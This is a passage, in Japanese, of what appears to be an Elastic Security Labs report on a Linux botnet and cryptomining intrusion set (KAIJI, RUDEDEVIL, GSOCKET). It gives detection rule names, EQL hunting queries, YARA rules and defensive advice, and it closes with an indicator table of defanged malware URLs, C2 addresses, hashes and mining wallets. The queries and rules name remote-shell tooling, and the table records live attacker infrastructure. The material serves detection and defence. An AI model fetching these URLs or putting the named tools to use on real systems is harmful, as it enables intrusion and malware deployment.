Elasticセキュリティは、行動型SIEMとエンドポイントルール、YARAシグネチャ、MLベースの異常検出アプローチを活用して、脅威検出にマルチレイヤーアプローチを実装しています。 このセクションでは、特定された脅威を捕捉する上で大きな役割を果たす、Elasticセキュリティが構築する検知について説明します。
検知
この侵入セットの分析を通じて、次の検出ルールが観察されました。
予防
この侵入セットの分析全体で、次の動作防止イベントが観察されました。
- 疑わしいユーティリティによるLinuxリバースシェル
- バインドマウントによる防御回避
- インタラクティブシェルによるLinuxの疑わしい子プロセスの実行
- 潜在的なLinuxハックツールが発売されました
- PKEXECエクスプロイトによる権限昇格
- 潜在的な SSH-IT SSH ワームのダウンロード
- スケジュール済みジョブが異常な場所でバイナリを実行しています
次のYARAシグネチャは、KAIJIおよびRUDEDEVILマルウェアサンプルをファイルおよびメモリ内の両方で検出するために配置されています。
次のエンドポイントルールアラートは、まもなくリリースされますが、この侵入セットの分析全体で観察されました。
- Web サーバー経由の潜在的なシェル
- Web サーバー・コード・インジェクションの可能性
- Web サーバー ユーザーによって実行される潜在的なシェル
- Webサーバー経由でアクティビティをデコード
- Linux Telegram API Request
- 不審なエコー処刑
Elastic でのハンティングクエリ
KQL と EQL の両方のイベントは、Elastic Defend 統合を使用して Elastic Agent で提供されます。 ハンティング クエリは、高いシグナルまたは誤検出を返す可能性があります。 これらのクエリは、疑わしい可能性のある動作を特定するために使用されますが、結果を検証するには調査が必要です。
EQL クエリ
Kibanaのセキュリティソリューションの「Timeline」セクションの「Correlation」タブを使用すると、以下のEQLクエリを使用して、同様の動作をハンティングできます。
XMRIGの実行の可能性
次のEQL問合せを使用して、環境内のXMRIG実行をハンティングできます。
process where event.type == "start" and event.action == "exec" and (
(
process.args in ("-a", "--algo") and process.args in (
"gr", "rx/graft", "cn/upx2", "argon2/chukwav2", "cn/ccx", "kawpow", "rx/keva", "cn-pico/tlo", "rx/sfx", "rx/arq",
"rx/0", "argon2/chukwa", "argon2/ninja", "rx/wow", "cn/fast", "cn/rwz", "cn/zls", "cn/double", "cn/r", "cn-pico",
"cn/half", "cn/2", "cn/xao", "cn/rto", "cn-heavy/tube", "cn-heavy/xhv", "cn-heavy/0", "cn/1", "cn-lite/1",
"cn-lite/0", "cn/0"
)
) or
(
process.args == "--coin" and process.args in ("monero", "arqma", "dero")
)
) and process.args in ("-o", "--url")
MSR 書き込みアクセスが有効
XMRIG は modprobe を利用して、MSR への書き込みアクセスを有効にします。 このアクティビティは異常であり、デフォルトでは発生しません。
process where event.type == "start" and event.action == "exec" and process.name == "modprobe" and
process.args == "msr" and process.args == "allow_writes=on"
潜在的な GSOCKET アクティビティ
このアクティビティは、推奨されるデプロイ方法で GSOCKET をデプロイする場合の既定の動作です。 さらに、GSOCKET を介したよりカスタマイズされた侵入を見逃す可能性を減らすために、いくつかの引数がクエリに追加されます。
process where event.type == "start" and event.action == "exec" and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and
process.command_line : (
"*GS_ARGS=*", "*gs-netcat*", "*gs-sftp*", "*gs-mount*", "*gs-full-pipe*", "*GS_NOINST=*", "*GSOCKET_ARGS=*", "*GS_DSTDIR=*", "*GS_URL_BASE=*", "*GS_OSARCH=*", "*GS_DEBUG=*", "*GS_HIDDEN_NAME=*", "*GS_HOST=*", "*GS_PORT=*", "*GS_TG_TOKEN=*", "*GS_TG_CHATID=*", "*GS_DISCORD_KEY=*", "*GS_WEBHOOK_KEY=*"
)
Exec による潜在的なプロセス・マスカレード
GSOCKET は、 exec -a
メソッドを利用して、別の名前でプロセスを実行します。 GSOCKETは特にカーネルプロセスとしてマスカレードを活用しますが、他のマルウェアは異なる方法でマスカレードする可能性があります。
process where event.type == "start" and event.action == "exec" and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and process.command_line : "* exec -a *"
Renice または Ulimit の実行
KAIJIやRUDEDEVILなどのいくつかのマルウェアは、reniceユーティリティを利用して、プロセスの優先度を変更したり、プロセスのリソース制限を設定したりします。 これは、マイニング プロセスの優先度を上げてマイニング パフォーマンスを最大化するために、マイナー マルウェアによって一般的に使用されます。
process where event.type == "start" and event.action == "exec" and (
process.name in ("ulimit", "renice") or (
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and
process.command_line : ("*ulimit*", "*renice*")
)
)
存在しない cron(d) サービスが開始されました
KAIJIもRUDEDEVILも、/etc/init.d/cron(d)
年にcron(d)
サービスを作ることで永続性を確立しています。Cron
デフォルトでは、 SysV Init
サービスは使用されません。 cron(d)
サービスの実行は疑わしいため、さらに分析する必要があります。
process where event.type == "start" and event.action == "exec" and
process.name == "systemctl" and process.args == "start" and process.args in
("cron.service", "crond.service", "cron", "crond")
KAIJI からの疑わしい /etc/ プロセス実行
/etc/
ディレクトリは、プロセスの実行に一般的に使用されるディレクトリではありません。KAIJI は、/etc/
ディレクトリに 32678
と id.services.conf
というバイナリを配置して、永続性を確立し、検出を回避することが知られています。
process where event.type == "start" and event.action == "exec" and (process.executable regex """/etc/[0-9].*""" or process.executable : ("/etc/*.conf", "/etc/.*"))
/dev/ディレクトリでの隠しファイルの作成
/dev/
や/dev/shm/
で隠しファイルを作成することは本質的に悪意があるわけではありませんが、このアクティビティは一般的ではないはずです。KAIJI、GSOCKET、および K4SPREADER
などの他のマルウェアは、これらの場所に隠しファイルをドロップすることが知られています。
file where event.type == "creation" and file.path : ("/dev/shm/.*", "/dev/.*")
/boot/ の親実行可能ファイルからの疑わしいプロセス実行
KAIJIやXORDDOSなどのマルウェアは、 /boot/
ディレクトリに実行可能ファイルを配置し、これらを利用して永続性を確立することで、検出を回避しようとすることが知られています。
process where event.type == "start" and event.action == "exec" and process.parent.executable : "/boot/*"
ヤラ
Elasticセキュリティは、このアクティビティを識別するためのYARAルールを作成しました。 以下は、カスタム Apache2
マルウェアを識別するためのYARAルールです。
rule Linux_Trojan_Generic {
meta:
author = "Elastic Security"
creation_date = "2024-09-20"
last_modified = "2024-09-20"
os = "Linux"
arch = "x86"
threat_name = "Linux.Trojan.Generic"
reference = "https://www.elastic.co/security-labs/betting-on-bots"
license = "Elastic License v2"
strings:
$enc1 = { 74 73 0A 1C 1A 54 1A 11 54 0C 18 43 59 5B 3A 11 0B 16 14 10 0C 14 5B }
$enc2 = { 18 1A 1A 1C 09 0D 43 59 0D 1C 01 0D 56 11 0D 14 15 55 18 09 09 15 10 }
$enc3 = { 18 1A 1A 1C 09 0D 54 15 18 17 1E 0C 18 1E 1C 43 59 0B 0C }
$enc4 = { 34 16 03 10 15 15 18 56 4C 57 49 59 51 2E 10 17 1D 16 0E 0A 59 37 }
$key = "yyyyyyyy"
condition:
1 of ($enc*) and $key
}
GSOCKET とその隣接するツールのいくつかを検出するために、次のシグネチャを作成しました。
rule Multi_Hacktool_Gsocket {
meta:
author = "Elastic Security"
creation_date = "2024-09-20"
last_modified = "2024-09-23"
os = "Linux, MacOS"
arch = "x86"
threat_name = "Multi.Hacktool.Gsocket"
reference = "https://www.elastic.co/security-labs/betting-on-bots"
license = "Elastic License v2"
strings:
$str1 = "gsocket: gs_funcs not found"
$str2 = "/share/gsocket/gs_funcs"
$str3 = "$GSOCKET_ARGS"
$str4 = "GSOCKET_SECRET"
$str5 = "GS_HIJACK_PORTS"
$str6 = "sftp -D gs-netcat"
$str7 = "GS_NETCAT_BIN"
$str8 = "GSOCKET_NO_GREETINGS"
$str9 = "GS-NETCAT(1)"
$str10 = "GSOCKET_SOCKS_IP"
$str11 = "GSOCKET_SOCKS_PORT"
$str12 = "gsocket(1)"
$str13 = "gs-sftp(1)"
$str14 = "gs-mount(1)"
condition:
3 of them
}
最後に、このツールがこの侵入中に使用されたと信じる理由があるため、次の署名は オープンソースのLigolo-ngツールを検出するために作成されました。
rule Linux_Hacktool_LigoloNG {
meta:
author = "Elastic Security"
creation_date = "2024-09-20"
last_modified = "2024-09-20"
os = "Linux"
arch = "x86"
threat_name = "Linux.Hacktool.LigoloNG"
reference = "https://www.elastic.co/security-labs/betting-on-bots"
license = "Elastic License v2"
strings:
$a = "https://github.com/nicocha30/ligolo-ng"
$b = "@Nicocha30!"
$c = "Ligolo-ng %s / %s / %s"
condition:
all of them
}
防御のための推奨アクション
マルウェアキャンペーンから効果的に防御し、侵入のリスクを最小限に抑えるには、セキュリティに対する多層的なアプローチを実装することが重要です。 ここでは、優先すべき主な防御策をいくつか紹介します。
- Elastic Detection Rulesを最新の状態に保ち、有効にしておく: 事前に構築された検出ルールを含むセキュリティツールが最新の状態であることを確認してください。 継続的な更新により、システムは最新のマルウェアのシグネチャと動作を検出できます。
- Elastic Defendで防止モードを有効にする: Elastic Defendを防止モードで設定すると、既知の脅威に対してアラートを発するだけでなく、自動的にブロックされます。 防止モードは、マルウェアやエクスプロイトに対するプロアクティブな防御を保証します。
- アラートとログの監視: アラート、ログ、サーバーを定期的に監視して、疑わしいアクティビティの兆候がないか確認します。 異常な動作を早期に検出することで、小さな侵害が本格的な侵害に発展するのを防ぐことができます。
- 脅威ハンティングの実施: 検出を回避した可能性のある隠れた脅威について、環境を事前に調査します。 脅威ハンティングは、従来のセキュリティ対策を回避する高度な攻撃や永続的なマルウェアを発見できます。
- Webアプリケーションファイアウォール(WAF)の実装:WAFを使用して、未承認または悪意のあるトラフィックをブロックします。 適切に構成されたファイアウォールは、多くの一般的なWeb攻撃を防ぐことができます。
- SSHの強力な認証を強制する:SSHアクセスに公開鍵/秘密鍵認証を使用して、ブルートフォース攻撃から保護します。
- 安全なコードを書く: すべてのカスタムソフトウェア (特に Web サーバー技術) が安全なコーディング手法に従っていることを確認します。 専門のセキュリティ監査人にコードのレビューを依頼することで、脆弱性が悪用される前に脆弱性を特定し、軽減することができます。
- 定期的なパッチ適用とシステムの更新:既知の脆弱性から身を守るためには、サーバー、アプリケーション、ソフトウェアを最新の状態に保つことが不可欠です。 迅速なパッチ適用により、既製のエクスプロイトの標的になるリスクを最小限に抑えることができます。
これらの推奨事項に従うことで、攻撃対象領域を大幅に減らし、進行中または潜在的なマルウェアの脅威に対する防御を強化できます。
観測
この研究では、次の観測量について議論しました。 これらは、 こちらからSTIXまたはECS形式でダウンロードできます。
Observable | タイプ | 名前 | 参考 |
---|---|---|---|
72ac2877c9e4cd7d70673c0643eb16805977a9b8d55b6b2e5a6491db565cee1f | SHA-256の | システムdXC | XMRIG |
82c55c169b6cb5e348be6e202163296b2b5d80fff2be791c21da9a8b84188684 | SHA-256の | apache2 | apache2_unpacked |
0fede7231267afc03b096ee6c1d3ded479b10ab235e260120bc9f68dd1fc54dd | SHA-256の | apache2_upx_packed | apache2_upx_packed |
9ee695e55907a99f097c4c0ad4eb24ae5cf3f8215e9904d787817f1becb9449e | SHA-256の | download.sh | カイジ・ステージャー |
1cdfb522acb1ad0745a4b88f072e40bf9aa113b63030fe002728bac50a46ae79 | SHA-256の | linux_386 | カイジ x86 |
d0ef2f020082556884361914114429ed82611ef8de09d878431745ccd07c06d8 | SHA-256の | linux_amd64 | カイジ x64 |
ad36cf59b5eb08799a50e9aece6f12cdfe8620062606ac6684d3b4509acc681b | SHA-256の | linux_arm5 | カイジARM5 |
792a84a5bc8530285e2f6eb997054edb3d43460a99a089468e2cf81b5fd5cde6 | SHA-256の | linux_arm6 | カイジARM6 |
e19fb249db323d2388e91f92ff0c8a7a169caf34c3bdaf4d3544ce6bfb8b88b4 | SHA-256の | linux_arm64 | カイジARM64 |
3847c06f95dd92ec482212116408286986bb4b711e27def446fb4a524611b745 | SHA-256の | linux_arm7 | カイジARM7 |
fffee23324813743b8660282ccd745daa6fb058f2bf84b9960f70d888cd33ba0 | SHA-256の | linux_mips | KAIJI MIPS |
6d40b58e97c7b4c34f7b5bdac88f46e943e25faa887e0e6ce5f2855008e83f55 | SHA-256の | linux_mips64 | KAIJI MIPS64 |
0c3442b8c49844a1ee41705a9e4a710ae3c7cde76c69c2eab733366b2aa34814 | SHA-256の | linux_mips64el | カイジ MIPS64 リトルエンディアン |
310973f6f186947cb7cff0e7b46b4645acdd71e90104f334caa88a4fa8ad9988 | SHA-256の | linux_mips_softfloat | カイジミップスソフトフロート |
0d24a2e7da52bad03b0bda45c8435a29c4e1c9b483e425ae71b79fd122598527 | SHA-256の | linux_mipsel | カイジミップス リトルエンディアン |
36fc8eef2e1574e00ba3cf9e2267d4d295f6e9f138474e3bd85eb4d215f63196 | SHA-256の | linux_mipsel_softfloat | カイジミップス リトルエンディアン ソフトフロート |
3c25a4406787cc5089e83e00350e49eb9f192d03d69e7a61b780b6828db1344f | SHA-256の | linux_ppc64 | KAIJI PPC64 |
7c16149db7766c6fd89f28031aa123408228f045e90aa03828c02562d9f9d1d7 | SHA-256の | linux_ppc64el | カイジ PPC64 リトルエンディアン |
09f935acbac36d224acfb809ad82c475d53d74ab505f057f5ac40611d7c3dbe7 | SHA-256の | l64_v0 | RUDEDEVIL / LUFICER x64バージョン0 |
ea0068702ea65725700b1dad73affe68cf29705c826d12a497dccf92d3cded46 | SHA-256の | l64_v1 | RUDEDEVIL / LUFICER x64バージョン1 |
160f232566968ade54ee875def81fc4ca69e5507faae0fceb5bef6139346496a | SHA-256の | l64_v2 | RUDEDEVIL / LUFICER x64バージョン2 |
89b60cedc3a4efb02ceaf629d6675ec9541addae4689489f3ab8ec7741ec8055 | SHA-256の | l64_v3 | RUDEDEVIL / LUFICER x64バージョン3 |
20899c5e2ecd94b9e0a8d1af0114332c408fb65a6eb3837d4afee000b2a0941b | SHA-256の | l86_v0 | RUDEDEVIL / LUFICER x86バージョン0 |
728dce11ffd7eb35f80553d0b2bc82191fe9ff8f0d0750fcca04d0e77d5be28c | SHA-256の | l86_v1 | RUDEDEVIL / LUFICER x86バージョン1 |
47ceca049bfcb894c9a229e7234e8146d8aeda6edd1629bc4822ab826b5b9a40 | SHA-256の | l86_v2 | RUDEDEVIL / LUFICER x86バージョン2 |
e89f4073490e48aa03ec0256d0bfa6cf9c9ac6feb271a23cb6bc571170d1bcb5 | SHA-256の | l86_v3 | RUDEDEVIL / LUFICER x86バージョン3 |
d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60 | SHA-256の | hjvhg.exe | Miner |
54a5c82e4c68c399f56f0af6bde9fb797122239f0ebb8bcdb302e7c4fb02e1de | SHA-256の | mvhhvcp3.exe | DONUTLOADER |
9e32be17b25d3a6c00ebbfd03114a0947361b4eaf4b0e9d6349cbb95350bf976 | SHA-256の | vdfgb.exe | Miner |
http://gcp.pagaelrescate[.]com:8080/ifindyou | URL | ifindyou.sh | ステージ1 |
http://gcp.pagaelrescate[.]com:8080/cycnet | URL | cycnet.sh | ステージ2 |
http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slot | URL | Enviador_slot.py | ステージ3 |
http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXC | URL | システムdXC | XMRIG |
http://38.54.125[.]192:8080/nginx-rc | URL | nginx-rc | LIGOLO-NG |
http://62.72.22[.]91/apache2 | URL | apache2 | カスタムマルウェア |
http://62.72.22[.]91/apache2v86 | URL | apache2v86 | カスタムマルウェア |
http://91.92.241[.]103:8002/gk.php | URL | gk.php | PHPバックドア |
http://hfs.t1linux[.]com:7845/scdsshfk | URL | scdsshfk | XMRIG |
gcp.pagaelrescate[.]com | ドメイン名 | REFホスティングドメイン | |
nishabii[.]xyz | ドメイン名 | ルーデビルC2 | |
3.147.53[.]183 | IPv4-アドレス | PythonリバースシェルC2 | |
38.54.125[.]192 | IPv4-アドレス | C2サーバー | |
107.178.101[.]245 | IPv4-アドレス | Malware File Server (Rejetto) | |
62.72.22[.]91 | IPv4-アドレス | マルウェアをホストするサーバー | |
91.92.241[.]103 | IPv4-アドレス | C2サーバー | |
61.160.194[.]160 | IPv4-アドレス | マルウェアをホストするサーバー | |
41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL | XMRウォレット | RUDEDEVIL/LUFICERマイニングウォレット | |
42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc | XMRウォレット | RUDEDEVIL/LUFICERマイニングウォレット | |
1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBz | BTCウォレット | XMRIGマイニングウォレット |
参照資料
上記の研究を通じて、以下のことが参照されました。
- https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html
- https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/
- https://www.fortinet.com/blog/threat-research/multiple-threats-target-adobe-coldfusion-vulnerabilities
- https://www.aquasec.com/blog/lucifer-ddos-botnet-malware-is-targeting-apache-big-data-stack/
- https://github.com/hackerschoice/gsocket